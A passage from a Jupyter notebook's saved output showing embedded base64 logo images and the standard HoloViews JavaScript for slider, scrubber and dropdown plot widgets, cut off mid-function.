\"sPM72/KVnzfspmH7HQGCRLG2yL1+z8XwvPcdCbsAANh+xPzstgMtxeGKt+6MK3/tacfvwhWvIwMi\\n\",\n       \"oKEBtm0H7W+UVfkc/Y1V0BhoPlDr/w1w/eu1vjIgAgDg22OtX6/eYfnEz/focrZTHAFR+PSs56/7\\n\",\n       \"q32nwpjazxgwAQCwcU/T62t3WL7r6/jVRa6/byp1rei+Z98ZUAEAhEPHPc8fKnTU9nbgtnOe8h0l\\n\",\n       \"9hcGIqmODLQAHCy2Xti6v/XNRivf43f4fFvIteu854+VHnR7q9tfBlwAAGz+pnndB9vM26UebAe8\\n\",\n       \"SLHujPOTPVW+rwY+sxskAAC2HrA8t2Vvc7ffP1r9o+vwR2dcr92InIAbKKC1FZ5tB1tf+/G8p8sv\\n\",\n       \"N/9Q5zd/XR34LYCwV5JdccMEAMDBk45DH243r/X4xGvqxFa/GNpS7n6rwOwNWwHVE26oAADYurf1\\n\",\n       \"zx/utOzt+DMKYM0p17YtZZ5VNzqfsB2HewG1WXE8PoZ7gOclbTIvynZf9JV+fqZtfgs/8F/Nu5rB\\n\",\n       \"EIBmJ+8QRMmpU7EzGRsf2FzuePqYRbzh/zE26EwdrT10f6r6o8HOYzCJB9Dpff8tbnGLG8L/A/WE\\n\",\n       \"roTBs2RqAAAAAElFTkSuQmCC'\\n\",\n       \"     style='height:25px; border-radius:12px; display: inline-block; float: left; vertical-align: middle'></img>\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  <img src='data:image/png;base64,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'\\n\",\n       \"       style='height:15px; border-radius:12px; display: inline-block; float: left'></img>\\n\",\n       \"  \\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"</div>\\n\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    },\n    {\n     \"data\": {\n      \"application/javascript\": [\n       \"function HoloViewsWidget() {\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.init_slider = function(init_val){\\n\",\n       \"  if(this.load_json) {\\n\",\n       \"    this.from_json()\\n\",\n       \"  } else {\\n\",\n       \"    this.update_cache();\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.populate_cache = function(idx){\\n\",\n       \"  this.cache[idx].innerHTML = this.frames[idx];\\n\",\n       \"  if (this.embed) {\\n\",\n       \"    delete this.frames[idx];\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.process_error = function(msg){\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.from_json = function() {\\n\",\n       \"  var data_url = this.json_path + this.id + '.json';\\n\",\n       \"  $.getJSON(data_url, $.proxy(function(json_data) {\\n\",\n       \"    this.frames = json_data;\\n\",\n       \"    this.update_cache();\\n\",\n       \"    this.update(0);\\n\",\n       \"  }, this));\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.dynamic_update = function(current){\\n\",\n       \"  if (current === undefined) {\\n\",\n       \"    return\\n\",\n       \"  }\\n\",\n       \"  this.current = current;\\n\",\n       \"  if (this.comm) {\\n\",\n       \"    var msg = {comm_id: this.id+'_client', content: current}\\n\",\n       \"    this.comm.send(msg);\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.update_cache = function(force){\\n\",\n       \"  var frame_len = Object.keys(this.frames).length;\\n\",\n       \"  for (var i=0; i<frame_len; i++) {\\n\",\n       \"    if(!this.load_json || this.dynamic)  {\\n\",\n       \"      var frame = Object.keys(this.frames)[i];\\n\",\n       \"    } else {\\n\",\n       \"      var frame = i;\\n\",\n       \"    }\\n\",\n       \"    if(!(frame in this.cache) || force) {\\n\",\n       \"      if ((frame in this.cache) && force) { this.cache[frame].remove() }\\n\",\n       \"      var div = document.createElement(\\\"div\\\");\\n\",\n       \"      var parent = document.getElementById(\\\"_anim_img\\\"+this.id);\\n\",\n       \"      div.style.display = \\\"none\\\";\\n\",\n       \"      parent.appendChild(div)\\n\",\n       \"      this.cache[frame] = div;\\n\",\n       \"      var cache_id = \\\"_anim_img\\\"+this.id+\\\"_\\\"+frame;\\n\",\n       \"      this.populate_cache(frame);\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.update = function(current){\\n\",\n       \"  if(current in this.cache) {\\n\",\n       \"    for (var index in this.cache) {\\n\",\n       \"      this.cache[index].style.display = \\\"none\\\";\\n\",\n       \"    }\\n\",\n       \"    this.cache[current].style.display = \\\"\\\";\\n\",\n       \"    this.wait = false;\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.init_comms = function() {\\n\",\n       \"  var that = this\\n\",\n       \"  HoloViews.comm_manager.register_target(this.plot_id, this.id, function (msg) { that.process_msg(msg) })\\n\",\n       \"  if (!this.cached || this.dynamic) {\\n\",\n       \"    function ack_callback(msg) {\\n\",\n       \"      msg = JSON.parse(msg.content.data);\\n\",\n       \"      var comm_id = msg[\\\"comm_id\\\"]\\n\",\n       \"      var comm_status = HoloViews.comm_status[comm_id];\\n\",\n       \"      if (that.queue.length > 0) {\\n\",\n       \"        that.time = Date.now();\\n\",\n       \"        that.dynamic_update(that.queue[that.queue.length-1]);\\n\",\n       \"        that.queue = [];\\n\",\n       \"      } else {\\n\",\n       \"        that.wait = false;\\n\",\n       \"      }\\n\",\n       \"      if ((msg.msg_type == \\\"Ready\\\") && msg.content) {\\n\",\n       \"        console.log(\\\"Python callback returned following output:\\\", msg.content);\\n\",\n       \"      } else if (msg.msg_type == \\\"Error\\\") {\\n\",\n       \"        console.log(\\\"Python failed with the following traceback:\\\", msg['traceback'])\\n\",\n       \"      }\\n\",\n       \"    }\\n\",\n       \"    var comm = HoloViews.comm_manager.get_client_comm(this.plot_id, this.id+'_client', ack_callback);\\n\",\n       \"    return comm\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"HoloViewsWidget.prototype.process_msg = function(msg) {\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function SelectionWidget(frames, id, slider_ids, keyMap, dim_vals, notFound, load_json, mode, cached, json_path, dynamic, plot_id){\\n\",\n       \"  this.frames = frames;\\n\",\n       \"  this.id = id;\\n\",\n       \"  this.plot_id = plot_id;\\n\",\n       \"  this.slider_ids = slider_ids;\\n\",\n       \"  this.keyMap = keyMap\\n\",\n       \"  this.current_frame = 0;\\n\",\n       \"  this.current_vals = dim_vals;\\n\",\n       \"  this.load_json = load_json;\\n\",\n       \"  this.mode = mode;\\n\",\n       \"  this.notFound = notFound;\\n\",\n       \"  this.cached = cached;\\n\",\n       \"  this.dynamic = dynamic;\\n\",\n       \"  this.cache = {};\\n\",\n       \"  this.json_path = json_path;\\n\",\n       \"  this.init_slider(this.current_vals[0]);\\n\",\n       \"  this.queue = [];\\n\",\n       \"  this.wait = false;\\n\",\n       \"  if (!this.cached || this.dynamic) {\\n\",\n       \"    this.comm = this.init_comms();\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"SelectionWidget.prototype = new HoloViewsWidget;\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"SelectionWidget.prototype.get_key = function(current_vals) {\\n\",\n       \"  var key = \\\"(\\\";\\n\",\n       \"  for (var i=0; i<this.slider_ids.length; i++)\\n\",\n       \"  {\\n\",\n       \"    var val = this.current_vals[i];\\n\",\n       \"    if (!(typeof val === 'string')) {\\n\",\n       \"      if (val % 1 === 0) { val = val.toFixed(1); }\\n\",\n       \"      else { val = val.toFixed(10); val = val.slice(0, val.length-1);}\\n\",\n       \"    }\\n\",\n       \"    key += \\\"'\\\" + val + \\\"'\\\";\\n\",\n       \"    if(i != this.slider_ids.length-1) { key += ', ';}\\n\",\n       \"    else if(this.slider_ids.length == 1) { key += ',';}\\n\",\n       \"  }\\n\",\n       \"  key += \\\")\\\";\\n\",\n       \"  return this.keyMap[key];\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"SelectionWidget.prototype.set_frame = function(dim_val, dim_idx){\\n\",\n       \"  this.current_vals[dim_idx] = dim_val;\\n\",\n       \"  var key = this.current_vals;\\n\",\n       \"  if (!this.dynamic) {\\n\",\n       \"    key = this.get_key(key)\\n\",\n       \"  }\\n\",\n       \"  if (this.dynamic || !this.cached) {\\n\",\n       \"    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n\",\n       \"      this.queue.push(key);\\n\",\n       \"      return\\n\",\n       \"    }\\n\",\n       \"    this.queue = [];\\n\",\n       \"    this.time = Date.now();\\n\",\n       \"    this.current_frame = key;\\n\",\n       \"    this.wait = true;\\n\",\n       \"    this.dynamic_update(key)\\n\",\n       \"  } else if (key !== undefined) {\\n\",\n       \"    this.update(key)\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"/* Define the ScrubberWidget class */\\n\",\n       \"function ScrubberWidget(frames, num_frames, id, interval, load_json, mode, cached, json_path, dynamic, plot_id){\\n\",\n       \"  this.slider_id = \\\"_anim_slider\\\" + id;\\n\",\n       \"  this.loop_select_id = \\\"_anim_loop_select\\\" + id;\\n\",\n       \"  this.id = id;\\n\",\n       \"  this.plot_id = plot_id;\\n\",\n       \"  this.interval = interval;\\n\",\n       \"  this.current_frame = 0;\\n\",\n       \"  this.direction = 0;\\n\",\n       \"  this.dynamic = dynamic;\\n\",\n       \"  this.timer = null;\\n\",\n       \"  this.load_json = load_json;\\n\",\n       \"  this.mode = mode;\\n\",\n       \"  this.cached = cached;\\n\",\n       \"  this.frames = frames;\\n\",\n       \"  this.cache = {};\\n\",\n       \"  this.length = num_frames;\\n\",\n       \"  this.json_path = json_path;\\n\",\n       \"  document.getElementById(this.slider_id).max = this.length - 1;\\n\",\n       \"  this.init_slider(0);\\n\",\n       \"  this.wait = false;\\n\",\n       \"  this.queue = [];\\n\",\n       \"  if (!this.cached || this.dynamic) {\\n\",\n       \"    this.comm = this.init_comms()\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype = new HoloViewsWidget;\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.set_frame = function(frame){\\n\",\n       \"  this.current_frame = frame;\\n\",\n       \"  var widget = document.getElementById(this.slider_id);\\n\",\n       \"  if (widget === null) {\\n\",\n       \"    this.pause_animation();\\n\",\n       \"    return\\n\",\n       \"  }\\n\",\n       \"  widget.value = this.current_frame;\\n\",\n       \"  if (this.dynamic || !this.cached) {\\n\",\n       \"    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n\",\n       \"      this.queue.push(frame);\\n\",\n       \"      return\\n\",\n       \"    }\\n\",\n       \"    this.queue = [];\\n\",\n       \"    this.time = Date.now();\\n\",\n       \"    this.wait = true;\\n\",\n       \"    this.dynamic_update(frame)\\n\",\n       \"  } else {\\n\",\n       \"    this.update(frame)\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.get_loop_state = function(){\\n\",\n       \"  var button_group = document[this.loop_select_id].state;\\n\",\n       \"  for (var i = 0; i < button_group.length; i++) {\\n\",\n       \"    var button = button_group[i];\\n\",\n       \"    if (button.checked) {\\n\",\n       \"      return button.value;\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"  return undefined;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.next_frame = function() {\\n\",\n       \"  this.set_frame(Math.min(this.length - 1, this.current_frame + 1));\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.previous_frame = function() {\\n\",\n       \"  this.set_frame(Math.max(0, this.current_frame - 1));\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.first_frame = function() {\\n\",\n       \"  this.set_frame(0);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.last_frame = function() {\\n\",\n       \"  this.set_frame(this.length - 1);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.slower = function() {\\n\",\n       \"  this.interval /= 0.7;\\n\",\n       \"  if(this.direction > 0){this.play_animation();}\\n\",\n       \"  else if(this.direction < 0){this.reverse_animation();}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.faster = function() {\\n\",\n       \"  this.interval *= 0.7;\\n\",\n       \"  if(this.direction > 0){this.play_animation();}\\n\",\n       \"  else if(this.direction < 0){this.reverse_animation();}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.anim_step_forward = function() {\\n\",\n       \"  if(this.current_frame < this.length - 1){\\n\",\n       \"    this.next_frame();\\n\",\n       \"  }else{\\n\",\n       \"    var loop_state = this.get_loop_state();\\n\",\n       \"    if(loop_state == \\\"loop\\\"){\\n\",\n       \"      this.first_frame();\\n\",\n       \"    }else if(loop_state == \\\"reflect\\\"){\\n\",\n       \"      this.last_frame();\\n\",\n       \"      this.reverse_animation();\\n\",\n       \"    }else{\\n\",\n       \"      this.pause_animation();\\n\",\n       \"      this.last_frame();\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.anim_step_reverse = function() {\\n\",\n       \"  if(this.current_frame > 0){\\n\",\n       \"    this.previous_frame();\\n\",\n       \"  } else {\\n\",\n       \"    var loop_state = this.get_loop_state();\\n\",\n       \"    if(loop_state == \\\"loop\\\"){\\n\",\n       \"      this.last_frame();\\n\",\n       \"    }else if(loop_state == \\\"reflect\\\"){\\n\",\n       \"      this.first_frame();\\n\",\n       \"      this.play_animation();\\n\",\n       \"    }else{\\n\",\n       \"      this.pause_animation();\\n\",\n       \"      this.first_frame();\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.pause_animation = function() {\\n\",\n       \"  this.direction = 0;\\n\",\n       \"  if (this.timer){\\n\",\n       \"    clearInterval(this.timer);\\n\",\n       \"    this.timer = null;\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.play_animation = function() {\\n\",\n       \"  this.pause_animation();\\n\",\n       \"  this.direction = 1;\\n\",\n       \"  var t = this;\\n\",\n       \"  if (!this.timer) this.timer = setInterval(function(){t.anim_step_forward();}, this.interval);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"ScrubberWidget.prototype.reverse_animation = function() {\\n\",\n       \"  this.pause_animation();\\n\",\n       \"  this.direction = -1;\\n\",\n       \"  var t = this;\\n\",\n       \"  if (!this.timer) this.timer = setInterval(function(){t.anim_step_reverse();}, this.interval);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function extend(destination, source) {\\n\",\n       \"  for (var k in source) {\\n\",\n       \"    if (source.hasOwnProperty(k)) {\\n\",\n       \"      destination[k] = source[k];\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"  return destination;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function update_widget(widget, values) {\\n\",\n       \"  if (widget.hasClass(\\\"ui-slider\\\")) {\\n\",\n       \"    widget.slider('option', {\\n\",\n       \"      min: 0,\\n\",\n       \"      max: values.length-1,\\n\",\n       \"      dim_vals: values,\\n\",\n       \"      value: 0,\\n\",\n       \"      dim_labels: values\\n\",\n       \"    })\\n\",\n       \"    widget.slider('option', 'slide').call(widget, event, {value: 0})\\n\",\n       \"  } else {\\n\",\n       \"    widget.empty();\\n\",\n       \"    for (var i=0; i<values.length; i++){\\n\",\n       \"      widget.append($(\\\"<option>\\\", {\\n\",\n       \"        value: i,\\n\",\n       \"        text: values[i]\\n\",\n       \"      }))\\n\",\n       \"    };\\n\",\n       \"    widget.data('values', values);\\n\",\n       \"    widget.data('value', 0);\\n\",\n       \"    widget.trigger(\\\"change\\\");\\n\",\n       \"  };\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function init_slider(id, plot_id, dim, values, next_vals, labels, dynamic, step, value, next_dim,\\n\",\n       \"                     dim_idx, delay, jQueryUI_CDN, UNDERSCORE_CDN) {\\n\",\n       \"  // Slider JS Block START\\n\",\n       \"  function loadcssfile(filename){\\n\",\n       \"    var fileref=document.createElement(\\\"link\\\")\\n\",\n       \"    fileref.setAttribute(\\\"rel\\\", \\\"stylesheet\\\")\\n\",\n       \"    fileref.setAttribute(\\\"type\\\", \\\"text/css\\\")\\n\",\n       \"    fileref.setAttribute(\\\"href\\\", filename)\\n\",\n       \"    document.getElementsByTagName(\\\"head\\\")[0].appendChild(fileref)\\n\",\n       \"  }\\n\",\n       \"  loadcssfile(\\\"https://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css\\\");\\n\",\n       \"  /* Check if jQuery and jQueryUI have been loaded\\n\",\n       \"     otherwise load with require.js */\\n\",\n       \"  var jQuery = window.jQuery,\\n\",\n       \"    // check for old versions of jQuery\\n\",\n       \"    oldjQuery = jQuery && !!jQuery.fn.jquery.match(/^1\\\\.[0-4](\\\\.|$)/),\\n\",\n       \"    jquery_path = '',\\n\",\n       \"    paths = {},\\n\",\n       \"    noConflict;\\n\",\n       \"  var jQueryUI = jQuery.ui;\\n\",\n       \"  // check for jQuery\\n\",\n       \"  if (!jQuery || oldjQuery) {\\n\",\n       \"    // load if it's not available or doesn't meet min standards\\n\",\n       \"    paths.jQuery = jQuery;\\n\",\n       \"    noConflict = !!oldjQuery;\\n\",\n       \"  } else {\\n\",\n       \"    // register the current jQuery\\n\",\n       \"    define('jquery', [], function() { return jQuery; });\\n\",\n       \"  }\\n\",\n       \"  if (!jQueryUI) {\\n\",\n       \"    paths.jQueryUI = jQueryUI_CDN.slice(null, -3);\\n\",\n       \"  } else {\\n\",\n       \"    define('jQueryUI', [], function() { return jQuery.ui; });\\n\",\n       \"  }\\n\",\n       \"  paths.underscore = UNDERSCORE_CDN.slice(null, -3);\\n\",\n       \"  var jquery_require = {\\n\",\n       \"    paths: paths,\\n\",\n       \"    shim: {\\n\",\n       \"      \\\"jQueryUI\\\": {\\n\",\n       \"        exports:\\\"$\\\",\\n\",\n       \"        deps: ['jquery']\\n\",\n       \"      },\\n\",\n       \"      \\\"underscore\\\": {\\n\",\n       \"        exports: '_'\\n\",\n       \"      }\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"  require.config(jquery_require);\\n\",\n       \"  require([\\\"jQueryUI\\\", \\\"underscore\\\"], function(jUI, _){\\n\",\n       \"    if (noConflict) $.noConflict(true);\\n\",\n       \"    var vals = values;\\n\",\n       \"    if (dynamic && vals.constructor === Array) {\\n\",\n       \"      var default_value = parseFloat(value);\\n\",\n       \"      var min = parseFloat(vals[0]);\\n\",\n       \"      var max = parseFloat(vals[vals.length-1]);\\n\",\n       \"      var wstep = step;\\n\",\n       \"      var wlabels = [default_value];\\n\",\n       \"      var init_label = default_value;\\n\",\n       \"    } else {\\n\",\n       \"      var min = 0;\\n\",\n       \"      if (dynamic) {\\n\",\n       \"        var max = Object.keys(vals).length - 1;\\n\",\n       \"        var init_label = labels[value];\\n\",\n       \"        var default_value = values[value];\\n\",\n       \"      } else {\\n\",\n       \"        var max = vals.length - 1;\\n\",\n       \"        var init_label = labels[value];\\n\",\n       \"        var default_value = value;\\n\",\n       \"      }\\n\",\n       \"      var wstep = 1;\\n\",\n       \"      var wlabels = labels;\\n\",\n       \"    }\\n\",\n       \"    function adjustFontSize(text) {\\n\",\n       \"      var width_ratio = (text.parent().width()/8)/text.val().length;\\n\",\n       \"      var size = Math.min(0.9, Math.max(0.6, width_ratio))+'em';\\n\",\n       \"      text.css('font-size', size);\\n\",\n       \"    }\\n\",\n       \"    var slider = $('#_anim_widget'+id+'_'+dim);\\n\",\n       \"    slider.slider({\\n\",\n       \"      animate: \\\"fast\\\",\\n\",\n       \"      min: min,\\n\",\n       \"      max: max,\\n\",\n       \"      step: wstep,\\n\",\n       \"      value: default_value,\\n\",\n       \"      dim_vals: vals,\\n\",\n       \"      dim_labels: wlabels,\\n\",\n       \"      next_vals: next_vals,\\n\",\n       \"      slide: function(event, ui) {\\n\",\n       \"        var vals = slider.slider(\\\"option\\\", \\\"dim_vals\\\");\\n\",\n       \"        var next_vals = slider.slider(\\\"option\\\", \\\"next_vals\\\");\\n\",\n       \"        var dlabels = slider.slider(\\\"option\\\", \\\"dim_labels\\\");\\n\",\n       \"        if (dynamic) {\\n\",\n       \"          var dim_val = ui.value;\\n\",\n       \"          if (vals.constructor === Array) {\\n\",\n       \"            var label = ui.value;\\n\",\n       \"          } else {\\n\",\n       \"            var label = dlabels[ui.value];\\n\",\n       \"          }\\n\",\n       \"        } else {\\n\",\n       \"          var dim_val = vals[ui.value];\\n\",\n       \"          var label = dlabels[ui.value];\\n\",\n       \"        }\\n\",\n       \"        var text = $('#textInput'+id+'_'+dim);\\n\",\n       \"        text.val(label);\\n\",\n       \"        adjustFontSize(text);\\n\",\n       \"        HoloViews.index[plot_id].set_frame(dim_val, dim_idx);\\n\",\n       \"        if (Object.keys(next_vals).length > 0) {\\n\",\n       \"          var new_vals = next_vals[dim_val];\\n\",\n       \"          var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n\",\n       \"          update_widget(next_widget, new_vals);\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"    });\\n\",\n       \"    slider.keypress(function(event) {\\n\",\n       \"      if (event.which == 80 || event.which == 112) {\\n\",\n       \"        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n\",\n       \"        var stop =  slider.slider(\\\"option\\\", \\\"max\\\");\\n\",\n       \"        for (var i=start; i<=stop; i++) {\\n\",\n       \"          var delay = i*delay;\\n\",\n       \"          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n\",\n       \"            var val = {value:i};\\n\",\n       \"            slider.slider('value',i);\\n\",\n       \"            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n\",\n       \"          }, slider), delay);}, slider)(i);\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"      if (event.which == 82 || event.which == 114) {\\n\",\n       \"        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n\",\n       \"        var stop =  slider.slider(\\\"option\\\", \\\"min\\\");\\n\",\n       \"        var count = 0;\\n\",\n       \"        for (var i=start; i>=stop; i--) {\\n\",\n       \"          var delay = count*delay;\\n\",\n       \"          count = count + 1;\\n\",\n       \"          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n\",\n       \"            var val = {value:i};\\n\",\n       \"            slider.slider('value',i);\\n\",\n       \"            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n\",\n       \"          }, slider), delay);}, slider)(i);\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"    });\\n\",\n       \"    var textInput = $('#textInput'+id+'_'+dim)\\n\",\n       \"    textInput.val(init_label);\\n\",\n       \"    adjustFontSize(textInput);\\n\",\n       \"  });\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function init_dropdown(id, plot_id, dim, vals, value, next_vals, labels, next_dim, dim_idx, dynamic) {\\n\",\n       \"  var widget = $(\\\"#_anim_widget\\\"+id+'_'+dim);\\n\",\n       \"  widget.data('values', vals)\\n\",\n       \"  for (var i=0; i<vals.length; i++){\\n\",\n       \"    if (dynamic) {\\n\",\n       \"      var val = vals[i];\\n\",\n       \"    } else {\\n\",\n       \"      var val = i;\\n\",\n       \"    }\\n\",\n       \"    widget.append($(\\\"<option>\\\", {\\n\",\n       \"      value: val,\\n\",\n       \"      text: labels[i]\\n\",\n       \"    }));\\n\",\n       \"  };\\n\",\n       \"  widget.data(\\\"next_vals\\\", next_vals);\\n\",\n       \"  widget.val(value);\\n\",\n       \"  widget.on('change', function(event, ui) {\\n\",\n       \"    if (dynamic) {\\n\",\n       \"      var dim_val = parseInt(this.value);\\n\",\n       \"    } else {\\n\",\n       \"      var dim_val = $.data(this, 'values')[this.value];\\n\",\n       \"    }\\n\",\n       \"    var next_vals = 